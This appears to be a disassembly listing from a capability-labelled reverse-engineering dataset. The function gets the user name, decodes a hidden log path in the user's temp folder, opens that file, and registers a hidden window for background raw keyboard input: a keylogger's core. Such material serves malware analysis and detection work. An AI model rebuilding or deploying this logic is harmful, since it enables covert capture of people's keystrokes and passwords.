Function at 0x408988
Capabilities:
Get session user name
Register raw input devices

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x51d]
mov esi, str.QXBwRGF0YVxMb2NhbFxUZW1wXGJvb3QudHh0
push ebx
push ecx
sub esp, 0x588
call dbg.__main
mov dword [esp + 4], 0x409008
mov dword [esp], 0x40e060
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov ecx, 0x25
lea edx, [ebp - 0x54c]
lea eax, [ebp - 0x51d]
push ebx
push ebx
rep movsb byte es:[edi], byte [esi]
lea esi, [ebp - 0x4c8]
mov dword [ebp - 0x55c], ecx
call sym._base64_decode
mov dword [esp + 8], 0x40e060
mov dword [esp + 0xc], eax
mov dword [esp + 4], str.C:Users_s_s
mov dword [esp], esi
call sym._sprintf.constprop.0
mov dword [esp + 4], 0x40a14f
mov dword [esp], esi
call sub.msvcrt.dll_fopen
mov dword [0x40e490], eax
test eax, eax
jne 0x408a35
mov dword [esp], str.Error_opening_file
call sub.msvcrt.dll_perror
mov eax, 1
jmp 0x408bd3
mov eax, dword [ebp - 0x55c]
lea esi, [ebp - 0x4f4]
mov ecx, 0xb
mov dword [ebp - 0x4f8], 0x30
mov edi, esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ebx, [ebp - 0x4f8]
rep stosd dword es:[edi], eax
xor eax, eax
mov dword [ebp - 0x4f0], sym._wndproc_16
mov dword [esp], eax
call esi
push edx
mov dword [ebp - 0x4e4], eax
mov dword [ebp - 0x4d0], str.rawkbd_wndclass
mov dword [esp], ebx
call dword [sym.imp.USER32.dll_RegisterClassExA]
mov edx, eax
push ecx
or eax, 0xffffffff
test dx, dx
je 0x408bd3
xor eax, eax
xor edi, edi
xor ebx, ebx
mov dword [esp], eax
call esi
xor ecx, ecx
push edx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x28], eax
mov dword [esp + 0x20], 0xfffffffd
mov dword [esp + 0x1c], edi
mov dword [esp + 0x18], edi
mov dword [esp + 0x14], edi
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], edi
mov dword [esp + 8], edi
mov eax, dword [ebp - 0x4d0]
mov dword [esp + 4], eax
xor eax, eax
mov dword [esp], eax
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov ebx, eax
sub esp, 0x30
mov eax, 0xfffffffe
test ebx, ebx
je 0x408bd3
lea eax, [ebp - 0x548]
mov dword [ebp - 0x540], ebx
mov dword [ebp - 0x548], 0x60001
mov dword [ebp - 0x544], 0x100
mov dword [esp + 8], 0xc
mov dword [esp + 4], 1
mov dword [esp], eax
call dword [sym.imp.USER32.dll_RegisterRawInputDevices]
mov edx, eax
sub esp, 0xc
mov eax, 0xfffffffd
test edx, edx
je 0x408bd3
mov dword [esp + 4], sym._sig_handler
mov dword [esp], 2
call sub.msvcrt.dll_signal
cmp dword [0x40e448], 0
je 0x408b99
mov eax, dword [0x40e490]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov dword [esp], ebx
call dword [sym.imp.USER32.dll_DestroyWindow]
xor ecx, ecx
push edx
mov dword [esp], ecx
call esi
push ebx
mov dword [esp + 4], eax
mov dword [esp], str.rawkbd_wndclass
call dword [sym.imp.USER32.dll_UnregisterClassA]
xor eax, eax
push esi
push esi
jmp 0x408bd3
xor eax, eax
lea edi, [ebp - 0x53c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], eax
mov dword [esp + 4], eax
mov dword [esp], edi
call dword [sym.imp.USER32.dll_GetMessageA]
sub esp, 0x10
test eax, eax
je 0x408b63
mov dword [esp], edi
call dword [sym.imp.USER32.dll_TranslateMessage]
push eax
mov dword [esp], edi
call dword [sym.imp.USER32.dll_DispatchMessageA]
push eax
jmp 0x408b5a
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret